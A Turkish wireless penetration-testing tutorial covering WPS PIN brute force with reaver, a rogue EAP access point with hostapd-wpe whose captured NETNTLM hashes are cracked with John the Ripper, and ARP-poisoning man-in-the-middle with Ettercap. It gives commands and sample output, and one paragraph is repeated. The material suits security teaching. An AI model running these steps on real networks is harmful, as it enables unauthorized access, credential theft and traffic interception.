WPS Destekli Kablosuz Erişim Noktaları Güvenlik Testleri
WPS(WiFi Protected Setup) güvenli bir ağ kurmak için hızlıca aksiyon almayı sağlayan bir teknolojidir. Normal bir kullanıcı için, AP üzerindeki PIN numarası bağlanılmak istenen sistemde girilir. WPS ile bağlandıktan sonra gerekli konfigürasyonlar otomatik olarak yapılır ve kullanıcıya güçlü bir WPA-PSK parolası oluşturulur.
WPS PIN’leri sadece rakamlardan oluşur ve 8 hanelidir. Son hanesi diğer 7 hanenin doğruluğunu kontrol(checksum) için kullanılır.
Bu durumda bir PIN kodunun alabileceği değerler en fazla 107(10 000 000)’dur. WPS kullandığı protokol gereği ise bu 7 haneyi, 4 ve 3 haneli olmak üzere iki kısıma ayırıp kontrol eder. İlk 4 hane için olası ihtimaller 104(10 000) ve sonraki 3 hane için 103(1000) toplamda ise 11000 olur. Bazı AP üreticileri bu PIN kodunu her cihazı için aynı yapmakta bazıları ise MAC adresinin son 6 hanesine göre hesaplamaktadır. Airties ve bazı üretici modemlerinde 5 PIN denemesinde sonra WPS kilitlenir ve bu yolla yeni kullanıcının bağlanmasına izin verilmez. AP kapatılıp tekrar başlatılana kadar bu koruma devam eder. Bunu atlatmak için bilinen bir yöntem yoktur.
Bu durumda bir PIN kodunun alabileceği değerler en fazla 107(10 000 000)’dur. WPS kullandığı protokol gereği ise bu 7 haneyi, 4 ve 3 haneli olmak üzere iki kısıma ayırıp kontrol eder. İlk 4 hane için olası ihtimaller 104(10 000) ve sonraki 3 hane için 103(1000) toplamda ise 11000 olur. Bazı AP üreticileri bu PIN kodunu her cihazı için aynı yapmakta bazıları ise MAC adresinin son 6 hanesine göre hesaplamaktadır. Airties ve bazı üretici modemlerinde 5 PIN denemesinde sonra WPS kilitlenir ve bu yolla yeni kullanıcının bağlanmasına izin verilmez. AP kapatılıp tekrar başlatılana kadar bu koruma devam eder. Bunu atlatmak için bilinen bir yöntem yoktur.
WPS saldırılarında yapılan ise bu 11000 ihtimali kaba kuvvet saldırısıyla ya da öntanımlı PIN numarasını girerek kırmaktır.
Bunun için önce monitor moda göre geçilir
airmon-ng start wlan1
|
Çıktısı böyledir
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2255 dhclient
13980 dhclient
32353 wpa_supplicant
Process with PID 2255 (dhclient) is running on interface wlan1
Process with PID 13980 (dhclient) is running on interface wlan1
Process with PID 32353 (wpa_supplicant) is running on interface wlan1
Interface Chipset Driver
wlan1 Atheros AR9271 ath9k – [phy4]
(monitor mode enabled on mon0)
|
PIN kodu, arama motorlarında aratılabilir yada MAC adresinin son 6 hanesinden PIN hesaplayan çeşitli scriptlerle bulunabilir.
AP’ler wash aracıyla taranır:
wash -i mon0
|
Hedef belirlenirken WPS Locked kısmının No olmasına dikkat etmek gerekir. Yes olanlar AP’nin daha önce bahsedildiği gibi WPS kaba kuvvet saldırılarına karşı önlem alınan ve artık bu yolla kullanıcı almayan tipte olduğunu belirtir. Ayrıca RSSI altında belirtilen dbm değerinin de küçük(reel olarak) olmamasına dikkat etmek gerekir.
Hedef belirlendikten sonra -b ile MAC adresi, -c ile çalıştığı kanal, -e ile SSID ve -p ile PIN kodu verilir. -p verilmese dahi reaver olası tüm değerleri deneyecektir.
reaver -i mon0 -b 90:F6:52:82:B2:E2 -p 85654747 -e BGASinif -c 8 -vvv
|
Doğru PIN numarası için sonuç aşağıdaki gibi olur.
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
[+] Switching mon0 to channel 8
[+] Waiting for beacon from 90:F6:52:82:B2:E2
[+] Associated with 90:F6:52:82:B2:E2 (ESSID: BGASinif)
[+] Trying pin 85654747
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 4 seconds
[+] WPS PIN: ‘85654747’
[+] WPA PSK: ‘BGASinif!!’
[+] AP SSID: ‘BGASinif’
[+] Nothing done, nothing to save.
|
EAP Kullanılan Kablosuz Ağ Ortamlarına Yönelik Güvenlik Testleri
Bu test için hedef kurumla aynı SSID’ye sahip, her türlü EAP metotunu kabul eden, arkada kimlik doğrulama için RADIUS sunucu çalışan sahte bir AP yayını yapılacaktır. İstemci tarafında doğru yapılandırmaların yapılmadığı(sunucu sertifikasının doğrulanmaması, yeni RADIUS sunuculara bağlandığında bunun prompt çıkartılarak kullanıcıya sorulması, public sertifikalara her zaman güvenilmesi gibi) kurumsal ağlarda bu atak başarılı olabilir.
Atak için hostapd aracı kullanılacaktır. Aracın indirilmesi ve kurulumu github’daki sayfası harfiyen takip edilerek yapılabilir. Github’daki sayfada hostapd-2.2 ve bu atak için gerekli hostapd-wpe pathci bulunmaktadır. Kurulum tamamlandıktan sonra hostapd2.2 altındaki hostapd-wpe dosyası çalıştırılır.
Çalıştırmak için bir konfigürasyon dosyası gerekmektedir. Kurulum içinde bu dosya gelmektedir. Normal hostapd.conf dosyası içerisinde ileriye seviye çok fazla opsiyon bulunmaktadır. Kurulum sırasında yapılan patch işlemiyle bize en gereki satırların aktif edildiği hali hostapd-wpe.conf olarak yer alır. Ama bunun üzerinde de bazı değişikliler gerekmektedir:
interface=wlan1
#driver=wired
ssid=BGA-Personel
hw_mode=g
channel=1
|
hostapd-wpe -s hostapd-wpe.conf
|
ile çalıştırılabilir.
root@kali:~/tools/wifi/hostapd-2.2/hostapd# ./hostapd-wpe -s hostapd-wpe.conf
Configuration file: hostapd-wpe.conf
Using interface wlan1 with hwaddr a0:f3:c1:27:bf:e8 and ssid “BGA-Personel”
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
|
Bir kullanıcı bağlandığında:
wlan1: STA 28:ba:b5:39:c0:1d IEEE 802.11: authenticated
wlan1: STA 28:ba:b5:39:c0:1d IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 28:ba:b5:39:c0:1d
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
mschapv2: Thu Sep 18 13:40:18 2014
username: deneme
challenge: 79:4e:1d:af:93:8f:a6:d8
response: e2:11:13:e5:74:87:48:ae:56:61:6c:11:35:7e:c9:0d:a8:7a:63:0d:5b:89:d4:68
jtr NETNTLM: deneme:$NETNTLM$794e1daf938fa6d8$e21113e5748748ae56616c11357ec90da87a630d5b89d468
|
Son satırda bize jtr koduyla John The Ripper aracı ile kırmak için formatı vermiştir.
deneme:$NETNTLM$794e1daf938fa6d8$e21113e5748748ae56616c11357ec90da87a630d5b89d468
satırı bir metin dosyasına yazılır.
root@kali:~/tools/wifi/hostapd-2.2/hostapd# john –format=NETNTLM deneme-eap
Loaded 1 password hash (NTLMv1 C/R MD4 DES (ESS MD5) [32/32])
deneme (deneme)
guesses: 1 time: 0:00:00:00 DONE (Thu Sep 18 13:48:03 2014) c/s: 800 trying: deneme – emened
|
Man-in-the-middle(MITM) testleri
En çok karşılaşılan atak türlerindendir. Saldırgan kullanıcı ile AP arasına girer ve tüm trafiğin kendisi üzerinden akmasını sağlar. Sslstrip gibi araçlarla HTTPS trafiği içinde araya girebilir. Bu saldırı farklı protokoller içinde uygulanabilir. Genelde ARP poisoning(zehirleme) tekniği kullanılır.
ARP poisoning temelinde yerel ağdaki sistemlerin birbirleriyle MAC adresleriyle haberleşmesi vardır. MAC adresi ile haberleşme OSI katmanının 2. katmanına denk gelir. Haberleşme ARP istekleriyle gerçekleştirilir.
Bir sistemin yeni bir ağa dahil olduğunu ve bu ağdaki diğer bir sisteme ping atmak istediğini düşünelim. Sistem eğer bu IP ile daha önce iletişim kurmuş olsaydı kendi ARP tablosuna bakardı. Ağa yeni dahil olduğunda (yada daha önce o IP ile iletişim kurmadıysa) öncelikle broadcast bir istekte bulunur. Bu istekte hedef IP’nin kime ait olduğu sorulur. Hedef sistemden gelen yanıtla o IP’ye ait sistemin MAC adresini elde eder. Bu MAC adresi-IP ikilisi artık sistemin kendi ARP tablosuna da geçmiştir.
Örnek ekran görüntüsünde 172.16.16.186 IP’sine sahip sistemden 172.16.16.14 IP’li sisteme ping atılmıştır. Daha önce bağlantı kurulmadığı için önce Broadcast ARP isteğinde bulunulmuştur.
Bu istekten önce ARP tablosu:
Bu istekten sonra ARP tablosu:
MitM saldırılarında saldırgan kurban sisteme gatewayin IP’sine karşılık kendi MAC adresinin olduğu ARP paketi gönderir. Böylece gateway olarak kendisini görmesini sağlar. Diğer yandan ise gatewaye kurbanın IP’sine karşılık kendi MAC adresinin olduğu ARP paketi gönderir. Böylece gateway saldırganı asıl kullanıcı olarak görür. Artık kurbandan çıkan istekler önce saldırganın sistemine, ordanda gatewaye ulaşacaktır.
Bu atak tipi Ettercap üzerinde simüle edilmiştir. Çalışma ortamı Kali’dir. Ettercap başlatılır.
root@kali:~# ettercap -G
|
Sırasıyla aşağıdakiler aktif edilir;(Yapılan işlemler aşağı kısımda görülebilir.)
Options→ Promisc mode
Sniff → Unified sniffing Bu seçildikten sonra bir prompt çıkar hangi ağ arayüzün dinleneceği sorulur(wlan0,eth0 gibi).Kablosuz ağ için wlan0, wlan1 gibi ağ kartının bağlı olduğu arayüz seçilir.)
Hosts → Scan for hosts Bir kaç kere çalıştırılması iyidir.
Hosts → Hosts list Bu seçildiğinde tespit edilen sistemler listelenir.
-
Çıkan listedekilerin hepsi seçilebilir. Bu o ağdaki tüm trafiğin kendi sistemimizden geçmesi demektir.
-
Sadece gatewaye ait IP için “Add to Target 1”, geri kalanı için “Add to Target 2” denilirse tüm istemci sistemlerin gatewaye ulaşırkenki trafiği üzerimizden geçer.
-
Sadece gatewaye ait IP için “Add to Target 1” deyip, atak yapılmak istenen bir kaç IP için “Add to Target 2” denilirse sadece o IP’lere yönelik zehirleme gerçekleştirilir.
Kapsamı belirlendikten sonra saldırıyı başlatmak için Mitm sekmesinden Arp poisoning seçilir.
Mitm → Arp poisoning
İstemci sistemler üzerinde saldırı öncesi ve sonrası arp tablosu kontrol edilirse gateway IP’sine karşılık gelen MAC adresinin değiştiği görülebilir.
View → Connections sekmesinden kurulan trafik görüntülenebilir.
Buradan sunucu ya da istemci tarafına kod enjekte edilebilir.